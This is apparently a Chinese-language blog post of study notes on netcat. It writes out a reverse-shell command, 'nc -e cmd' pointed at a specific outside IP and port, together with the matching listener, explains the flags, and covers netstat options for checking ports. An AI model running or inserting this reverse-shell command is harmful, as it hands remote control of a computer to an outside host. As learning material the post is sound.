即netcat 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用 TCP 或 UDP 协议的网络连接去读写数据。
我们在自己内网windows电脑上安装好netcat,在cmd输入nc -e cmd 62.234.14.252 8080
,
我们在外网linux上执行nc -lvp 8080
监听本地的8080端口,然后
我们可以用外网服务器通过cmd操作内网电脑了。
exit是cmd的结束小黑框命令,所以exit和ctrl + c都可以终止本次连接。
看出两个问题:
-
中文乱码,如果目标系统的文件夹有中文,都cd不过去。
-
被控制端主动把自己交给控制端,要求两者在同一局域网内或控制端有公网IP
-e
:在建立连接后执行一个命令。在此我们执行cmd老师说这串命令可以把自己的cmd交给62.234.14.252的8080端口。这是因为内网电脑使用
-e
选项执行cmd
命令,并将其输入/输出连接到外网电脑的nc
进程,从而使外网电脑能够发送命令到内网电脑并接收返回的结果
-l
选项表示nc
将以监听模式运行,等待来自客户端的连接请求。,-v
表示显示详细的输出信息。-p
选项用于指定nc
监听的端口号。
nc -lvp 8080和nc -lvvp 8080有区别吗
nc -lvvp 8080
命令中的额外-v
选项表示nc
将以更详细的输出模式运行,提供更多的调试信息。这可能包括更详细的连接信息、数据传输的详细日志等。区别在于输出信息的详细程度。
如何查看centos的8080端口有没有进程占用
netstat -tuln | grep 8080
netstat -tuln的四个选项是什么意思
netstat命令用于显示网络连接、路由表和网络接口等网络相关信息。
-t
:表示显示TCP连接信息。
-u
:表示显示UDP连接信息。
-l
:表示仅显示处于监听状态的连接。
-n
:表示以数字形式显示IP地址和端口号,而不使用域名或服务名称。带选项n会显示fe80::5054:ff:fe6a::123,否则显示VM-8-9-centos:ntp
非特殊说明,本博所有文章均为博主原创。
共有 0 条评论